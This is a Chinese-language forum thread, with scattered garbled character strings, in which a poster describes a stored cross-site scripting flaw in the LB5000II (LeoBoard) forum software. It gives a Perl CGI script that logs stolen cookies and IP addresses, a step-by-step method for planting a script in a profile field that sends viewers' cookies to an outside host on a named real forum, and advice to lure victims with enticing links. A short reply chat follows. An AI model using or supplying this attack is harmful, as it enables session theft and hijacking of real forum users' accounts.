雷傲跨站脚本漏洞收集用户cookie漏洞，适合与任何版本，任何系统

幸福的傻瓜

漏洞描述：
2 p8 x. l: k6 M7 o% o  LB5000II是国内流行的CGI程序之一，是在Ikonboard的基础之上改进的，目前最新
版本是LB5000II v20317b，可以http://www.leoboard.com下载。
5 W2 a" x0 R% L  a4 V  其注册模块未过滤用户资料   最高学历：职业状况：等注册信息
导致恶意用户可以通过伪造<s cript>alert(documents.ｃookie)</s cript>
, m2 j2 h0 ]  B: E4 z* |进行攻击，进一步可以通过某中方式收集。测试通过
测试程序：
  参考漏洞描述。
& Q4 N( I) K, p. r解决方案：
  对用户提交的资料进行过滤
" W! E; i+ m+ ]: B   
) M. W0 x3 m( n" `
! A. [. q# M; i  S' i% h/ E* ]请在s8s8论坛访问
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
4 q  |' p: A1 C) ~5 r2 U- p3 W那么你在s8s8.net 的cookie将被我所获取.
#!/usr/bin/perl
7 Q8 k5 y, z$ ?3 e. @1 C, I! a#leo.cgi
+ p7 O7 D* h( ]1 h$url="http://www.s8s8.net";;
$ ?" A' f0 Y% u. G! Y$method=$ENV{"REQUEST_METHOD"};
$ j" |4 d- V# H9 V( Eif(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};}
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));}
$remote_addr=$ENV{"REMOTE_ADDR"};
- ^+ v4 f% R& e. U$ J+ Q4 J& G1 {$buffer=~tr/+/ /;
: j9 U9 k( a2 m$ D: w$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
. M0 u. c7 C" r$buffer=$buffer."|$remote_addr\n";
8 h: R5 O4 L# T5 c" Uopen(FILE,">>leo.txt");
3 ?- u9 K. Z4 H9 h  yprint FILE $buffer;
: R, Q" m! r* a- ^) R/ |8 jclose(FILE);                       
+ D7 c+ j( G" p$ M. `% R, Fprint "Location:$url\n\n";
上面是我的cookie收集脚本
------------------------------------------------------------------------------
范例：以s8s8为例，感谢好友狩猎者 shocknet 帮助测试
用大刀队登陆s8s8论坛，编辑个人资料，
用记事本打开编辑网页
<option value="中专">中专</option>  这一项改成
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?&#39;+documents.ｃookie)</s cript>">中专</option>   
( b* |# q5 {: i, ^
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data">
改为
<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
! ]  W1 x& ]. H4 Z  r7 a  ~, P保存编辑的网页，用自己的页登陆，选“中专”一项，提交数据，
8 j% p' j5 A* V. C3 J这样以后只要查看大刀队的资料的用户，那么查看者的cookie资料将被截获。
为了伪装的更好，可以在论坛发具有诱惑力的帖子连接，吸引人家去点击，
* ^4 p7 v/ O) M什么算诱惑力呢，自己发挥吧。
0 Z) N, v; t3 `, p

lostway

我连怎么设置超连接都不懂~~~汗~！能教教我吗？
（我指在贴上设置）
& t+ C& Q' m2 r/ m) M' R+ Z+ c

YES东

我们的论坛虽然是使用这个程序！但没这个问题！
- D! |$ o0 [, q6 K  D" R7 K

幸福的傻瓜

那当染好了啊